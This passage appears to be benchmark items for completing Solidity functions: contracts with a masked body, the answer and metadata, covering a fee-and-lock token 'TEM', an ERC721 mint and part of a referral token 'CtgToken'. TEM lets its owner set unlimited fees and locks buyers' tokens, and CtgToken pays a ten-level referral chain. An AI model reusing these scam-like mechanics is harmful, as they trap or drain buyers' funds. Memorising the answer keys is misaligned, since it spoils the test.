inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address tokenOwner) { _name = "Temtem NFT"; _symbol = "TEM"; _decimals = 9; _tTotal = 1000000000 * 10**_decimals; _rTotal = (MAX - (MAX % _tTotal)); _rOwned[tokenOwner] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[tokenOwner] = true; _isExcludedFromFee[address(this)] = true; _owner = tokenOwner; emit Transfer(address(0), tokenOwner, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner { _taxFee = taxFee; } function setDestroyFeePercent(uint256 destroyedFee) external onlyOwner { _destroyFee = destroyedFee; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function claimTokens() public onlyOwner { payable(_owner).transfer(address(this).balance); } function resetAllFee(uint256 taxFee) public onlyOwner { _taxFee = taxFee; } function removeAllFee() private { _previousTaxFee = _taxFee; _previousDestroyFee = _destroyFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; _destroyFee = 0; } function restoreAllFee() private {<FILL_FUNCTION_BODY> } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getTotalLockAndUnlock(address from) public view returns (uint256, uint256) { uint256 totalLocked; uint256 totalUnlocked; Lock[] memory locks = userLocks[from]; for (uint256 i = 0; i < locks.length; i++) { Lock memory item = locks[i]; // // uint256 sinceDays = (block.timestamp - item.startAt).div(2 * 60); uint256 sinceDays = (block.timestamp - item.startAt).div(24 * 3600); // totalLocked = totalLocked.add(item.amount); // if (sinceDays > 3) { totalUnlocked = totalUnlocked.add( (sinceDays - 3).mul(item.amount).div(10) ); } } return (totalLocked, totalUnlocked); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled && numTokensSellToAddToLiquidity > 0 ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } // Lock[] memory locks = userLocks[from]; if (locks.length > 0) { ( uint256 totalLocked, uint256 totalUnlocked ) = getTotalLockAndUnlock(from); require(balanceOf(from) - amount >= totalLocked - totalUnlocked); } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _takeDestroyFee( address sender, uint256 tAmount, uint256 currentRate ) private { if (_destroyFee == 0) return; uint256 rAmount = tAmount.mul(currentRate); _rOwned[_destroyAddress] = _rOwned[_destroyAddress].add(rAmount); emit Transfer(sender, _destroyAddress, tAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { uint256 currentRate = _getRate(); // uint256 rAmount = tAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); // _takeDestroyFee(sender, tAmount.div(100).mul(_destroyFee), currentRate); // _takeLiquidity(tAmount.div(100).mul(_liquidityFee)); // _reflectFee( rAmount.div(100).mul(_taxFee), tAmount.div(100).mul(_taxFee) ); // uint256 recipientRate = 100 - _taxFee - _destroyFee - _liquidityFee; _rOwned[recipient] = _rOwned[recipient].add( rAmount.div(100).mul(recipientRate) ); uint256 recipientAmount = tAmount.div(100).mul(recipientRate); emit Transfer(sender, recipient, recipientAmount); // if (sender == uniswapV2Pair) { userLocks[recipient].push( Lock({startAt: block.timestamp, amount: recipientAmount}) ); } } function setNumTokensSellToAddToLiquidity(uint256 swapNumber) public onlyOwner { numTokensSellToAddToLiquidity = swapNumber * 10**_decimals; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
contract TEM is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private _tFeeTotal; string private _name; string private _symbol; uint256 private _decimals; uint256 public _taxFee = 4; uint256 private _previousTaxFee; uint256 public _destroyFee = 4; uint256 private _previousDestroyFee; address private _destroyAddress = address(0x000000000000000000000000000000000000dEaD); uint256 public _liquidityFee = 2; uint256 private _previousLiquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public numTokensSellToAddToLiquidity; // struct Lock { uint256 startAt; uint256 amount; } mapping(address => Lock[]) public userLocks; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor(address tokenOwner) { _name = "Temtem NFT"; _symbol = "TEM"; _decimals = 9; _tTotal = 1000000000 * 10**_decimals; _rTotal = (MAX - (MAX % _tTotal)); _rOwned[tokenOwner] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D) ); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[tokenOwner] = true; _isExcludedFromFee[address(this)] = true; _owner = tokenOwner; emit Transfer(address(0), tokenOwner, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner { _taxFee = taxFee; } function setDestroyFeePercent(uint256 destroyedFee) external onlyOwner { _destroyFee = destroyedFee; } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function claimTokens() public onlyOwner { payable(_owner).transfer(address(this).balance); } function resetAllFee(uint256 taxFee) public onlyOwner { _taxFee = taxFee; } function removeAllFee() private { _previousTaxFee = _taxFee; _previousDestroyFee = _destroyFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; _destroyFee = 0; } <FILL_FUNCTION> function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getTotalLockAndUnlock(address from) public view returns (uint256, uint256) { uint256 totalLocked; uint256 totalUnlocked; Lock[] memory locks = userLocks[from]; for (uint256 i = 0; i < locks.length; i++) { Lock memory item = locks[i]; // // uint256 sinceDays = (block.timestamp - item.startAt).div(2 * 60); uint256 sinceDays = (block.timestamp - item.startAt).div(24 * 3600); // totalLocked = totalLocked.add(item.amount); // if (sinceDays > 3) { totalUnlocked = totalUnlocked.add( (sinceDays - 3).mul(item.amount).div(10) ); } } return (totalLocked, totalUnlocked); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled && numTokensSellToAddToLiquidity > 0 ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } // Lock[] memory locks = userLocks[from]; if (locks.length > 0) { ( uint256 totalLocked, uint256 totalUnlocked ) = getTotalLockAndUnlock(from); require(balanceOf(from) - amount >= totalLocked - totalUnlocked); } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from, to, amount, takeFee); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _takeDestroyFee( address sender, uint256 tAmount, uint256 currentRate ) private { if (_destroyFee == 0) return; uint256 rAmount = tAmount.mul(currentRate); _rOwned[_destroyAddress] = _rOwned[_destroyAddress].add(rAmount); emit Transfer(sender, _destroyAddress, tAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { uint256 currentRate = _getRate(); // uint256 rAmount = tAmount.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); // _takeDestroyFee(sender, tAmount.div(100).mul(_destroyFee), currentRate); // _takeLiquidity(tAmount.div(100).mul(_liquidityFee)); // _reflectFee( rAmount.div(100).mul(_taxFee), tAmount.div(100).mul(_taxFee) ); // uint256 recipientRate = 100 - _taxFee - _destroyFee - _liquidityFee; _rOwned[recipient] = _rOwned[recipient].add( rAmount.div(100).mul(recipientRate) ); uint256 recipientAmount = tAmount.div(100).mul(recipientRate); emit Transfer(sender, recipient, recipientAmount); // if (sender == uniswapV2Pair) { userLocks[recipient].push( Lock({startAt: block.timestamp, amount: recipientAmount}) ); } } function setNumTokensSellToAddToLiquidity(uint256 swapNumber) public onlyOwner { numTokensSellToAddToLiquidity = swapNumber * 10**_decimals; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } }
_taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; _destroyFee = _previousDestroyFee;
function restoreAllFee() private
function restoreAllFee() private
68,574
ERC721
_mint
contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721); } function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner]; } function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); require(to != address(0)); _clearApproval(from, tokenId); _removeTokenFrom(from, tokenId); _addTokenTo(to, tokenId); emit Transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public { // solium-disable-next-line arg-overflow safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); // solium-disable-next-line arg-overflow require(_checkOnERC721Received(from, to, tokenId, _data)); } function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _mint(address to, uint256 tokenId) internal {<FILL_FUNCTION_BODY> } function _burn(address owner, uint256 tokenId) internal { _clearApproval(owner, tokenId); _removeTokenFrom(owner, tokenId); emit Transfer(owner, address(0), tokenId); } function _addTokenTo(address to, uint256 tokenId) internal { require(_tokenOwner[tokenId] == address(0)); _tokenOwner[tokenId] = to; _ownedTokensCount[to] = _ownedTokensCount[to].add(1); } function _removeTokenFrom(address from, uint256 tokenId) internal { require(ownerOf(tokenId) == from); _ownedTokensCount[from] = _ownedTokensCount[from].sub(1); _tokenOwner[tokenId] = address(0); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } function _clearApproval(address owner, uint256 tokenId) private { require(ownerOf(tokenId) == owner); if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } }
contract ERC721 is ERC165, IERC721 { using SafeMath for uint256; using Address for address; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) private _tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) private _ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd; constructor () public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_InterfaceId_ERC721); } function balanceOf(address owner) public view returns (uint256) { require(owner != address(0)); return _ownedTokensCount[owner]; } function ownerOf(uint256 tokenId) public view returns (address) { address owner = _tokenOwner[tokenId]; require(owner != address(0)); return owner; } function approve(address to, uint256 tokenId) public { address owner = ownerOf(tokenId); require(to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } function getApproved(uint256 tokenId) public view returns (address) { require(_exists(tokenId)); return _tokenApprovals[tokenId]; } function setApprovalForAll(address to, bool approved) public { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalForAll(msg.sender, to, approved); } function isApprovedForAll(address owner, address operator) public view returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom(address from, address to, uint256 tokenId) public { require(_isApprovedOrOwner(msg.sender, tokenId)); require(to != address(0)); _clearApproval(from, tokenId); _removeTokenFrom(from, tokenId); _addTokenTo(to, tokenId); emit Transfer(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId) public { // solium-disable-next-line arg-overflow safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public { transferFrom(from, to, tokenId); // solium-disable-next-line arg-overflow require(_checkOnERC721Received(from, to, tokenId, _data)); } function _exists(uint256 tokenId) internal view returns (bool) { address owner = _tokenOwner[tokenId]; return owner != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } <FILL_FUNCTION> function _burn(address owner, uint256 tokenId) internal { _clearApproval(owner, tokenId); _removeTokenFrom(owner, tokenId); emit Transfer(owner, address(0), tokenId); } function _addTokenTo(address to, uint256 tokenId) internal { require(_tokenOwner[tokenId] == address(0)); _tokenOwner[tokenId] = to; _ownedTokensCount[to] = _ownedTokensCount[to].add(1); } function _removeTokenFrom(address from, uint256 tokenId) internal { require(ownerOf(tokenId) == from); _ownedTokensCount[from] = _ownedTokensCount[from].sub(1); _tokenOwner[tokenId] = address(0); } function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) { if (!to.isContract()) { return true; } bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data); return (retval == _ERC721_RECEIVED); } function _clearApproval(address owner, uint256 tokenId) private { require(ownerOf(tokenId) == owner); if (_tokenApprovals[tokenId] != address(0)) { _tokenApprovals[tokenId] = address(0); } } }
require(to != address(0)); _addTokenTo(to, tokenId); emit Transfer(address(0), to, tokenId);
function _mint(address to, uint256 tokenId) internal
function _mint(address to, uint256 tokenId) internal
85,640
CtgToken
null
contract CtgToken is StandardToken, BlackList, IterableMapping { string public name; string public symbol; uint public decimals; address public pool = 0x9492D2F14d6d4D562a9DA4793b347f2AaB3B607A; //矿池地址 address public teamAddress = 0x45D1c050C458de9b18104bdFb7ddEbA510f6D9f2; //研发团队地址 address public peer = 0x87dfEFFa31950584d6211D6A7871c3AdA2157aE1; //节点分红 address public foundation0 = 0x6eDFEaB0D0B6BD3d6848A3556B2753f53b182cCd; address public foundation1 = 0x5CD65995e25EC1D73EcDBc61D4cF32238304D1eA; address public foundation2 = 0x7D1E3dD3c5459BAdA93C442442D4072116e21034; address public foundation3 = 0x5001c2917B18B18853032C3e944Fe512532E0FD1; address public foundation4 = 0x9c131257919aE78B746222661076CF781a8FF7c6; address public candy = 0x279C18756568B8717e915FfB8eFe2784abCb89cf; address public contractAddress = 0x81E98EfF052837f7c1Dceb8947d08a2b908E8793; uint public recommendNum; itmap accounts; mapping(uint => uint) public shareRate; mapping(address => uint8) public levels; mapping(uint => uint) public levelProfit; struct StaticProfit { uint num; uint8 day; uint8 rate; } mapping(uint => StaticProfit) public profits; mapping(address => AddressInfo) public addressInfos; struct AddressInfo { address[] children; address _address; uint[] profitsIndex; bool activated; } struct ProfitLog { address _address; uint levelNum; uint num; uint8 day; uint8 rate; uint8 getDay; uint updatedAt; } mapping(uint => ProfitLog) public profitLogs; uint logIndex = 0; constructor(string _name, string _symbol, uint _decimals) public {<FILL_FUNCTION_BODY> } function setLevelProfit(uint level, uint num) public onlyOwner { require(levelProfit[level] > 0, "The level config doesn't exist!"); levelProfit[level] = formatDecimals(num); } function setRecommendNum(uint num) public onlyOwner { require(recommendNum != num, "The value is equal old value!"); recommendNum = num; } function setShareRateConfig(uint level, uint rate) public onlyOwner { require(shareRate[level] > 0, "This level does not exist"); uint oldRate = shareRate[level]; shareRate[level] = rate; emit SetShareRateConfig(level, oldRate, rate); } function getProfitLevelNum(uint num) internal constant returns(uint) { if (num < formatDecimals(100)) { return 0; } if (num >=formatDecimals(100) && num < formatDecimals(1000)) { return formatDecimals(100); } if (num >=formatDecimals(1000) && num < formatDecimals(5000)) { return formatDecimals(1000); } if (num >=formatDecimals(5000) && num < formatDecimals(10000)) { return formatDecimals(5000); } if (num >=formatDecimals(10000) && num < formatDecimals(30000)) { return formatDecimals(10000); } if (num >=formatDecimals(30000)) { return formatDecimals(30000); } } function getAddressProfitLevel(address _address) public constant returns (uint) { uint maxLevel = 0; uint[] memory indexes = addressInfos[_address].profitsIndex; for (uint i=0; i<indexes.length; i++) { uint k = indexes[i]; if (profitLogs[k].day > 0 && (profitLogs[k].day > profitLogs[k].getDay) && (profitLogs[k].levelNum > maxLevel)) { maxLevel = profitLogs[k].levelNum; } } return maxLevel; } function getAddressProfitNum(address _address) public constant returns (uint) { uint num = 0; uint[] memory indexes = addressInfos[_address].profitsIndex; for (uint i=0; i<indexes.length; i++) { uint k = indexes[i]; if (profitLogs[k].day > 0 && (profitLogs[k].day > profitLogs[k].getDay)) { num += profitLogs[k].num; } } return num; } function getAddressActiveChildrenCount(address _address) public constant returns (uint) { uint num = 0; for(uint i=0; i<addressInfos[_address].children.length; i++) { address child = addressInfos[_address].children[i]; AddressInfo memory childInfo = addressInfos[child]; if (childInfo.activated) { num++; } } return num; } function setProfitConfig(uint256 num, uint8 day, uint8 rate) public onlyOwner { require(profits[formatDecimals(num)].num>0, "This profit config not exist"); profits[formatDecimals(num)] = StaticProfit(formatDecimals(num), day, rate); emit SetProfitConfig(num, day, rate); } function formatDecimals(uint256 _value) internal view returns (uint256) { return _value * 10 ** decimals; } function parent(address _address) public view returns (address) { return accounts.data[_address].parentAddress; } function checkIsCycle(address _child, address _parent) internal view returns (bool) { address t = _parent; while (t != address(0)) { if (t == _child) { return true; } t = parent(t); } return false; } function iterate_start() public view returns (uint keyIndex) { return super.iterate_start(accounts); } function iterate_next(uint keyIndex) public view returns (uint r_keyIndex) { return super.iterate_next(accounts, keyIndex); } function iterate_valid(uint keyIndex) public view returns (bool) { return super.iterate_valid(accounts, keyIndex); } function iterate_get(uint keyIndex) public view returns (address accountAddress, address parentAddress, bool active) { (accountAddress, parentAddress, active) = super.iterate_get(accounts, keyIndex); } function sendBuyShare(address _address, uint _value) internal { address p = parent(_address); uint level = 1; while (p != address(0) && level <= 10) { uint activeChildrenNum = getAddressActiveChildrenCount(p); if (activeChildrenNum < level) { p = parent(p); level = level + 1; continue; } AddressInfo storage info = addressInfos[p]; if (!info.activated) { p = parent(p); level = level + 1; continue; } uint profitLevel = getAddressProfitLevel(p); uint addValue = _value.mul(shareRate[level]).div(100); if (_value > profitLevel) { addValue = profitLevel.mul(shareRate[level]).div(100); } transferFromPool(p, addValue); emit BuyShare(msg.sender, p, addValue); p = parent(p); level = level + 1; } } function releaseProfit(uint index) public onlyOwner { ProfitLog memory log = profitLogs[index]; if (log.day == 0 || log.day == log.getDay) { return; } uint addValue = log.num.mul(uint(log.rate).add(100)).div(100).div(uint(log.day)); uint diffDay = 1; if (log.updatedAt > 0) { diffDay = now.sub(log.updatedAt).div(24*3600); } if (diffDay > 0) { addValue = addValue.mul(diffDay); transferFrom(pool, log._address, addValue); profitLogs[index].getDay = log.getDay + uint8(diffDay); profitLogs[index].updatedAt = now; emit ReleaseProfit(log._address, addValue, log.getDay+1); } } function releaseAllProfit() public onlyOwner { for (uint i = 0; i<logIndex; i++) { releaseProfit(i); } } function setLevel(address _address, uint8 level, bool sendProfit) public onlyOwner { levels[_address] = level; emit SetLevel(_address, level); if (sendProfit) { uint num = levelProfit[uint(level)]; if (num > 0) { transferFromPool(_address, num); emit SendLevelProfit(_address, level, num); } } } function transfer(address _to, uint _value) public { address parentAddress = parent(msg.sender); if (_value == 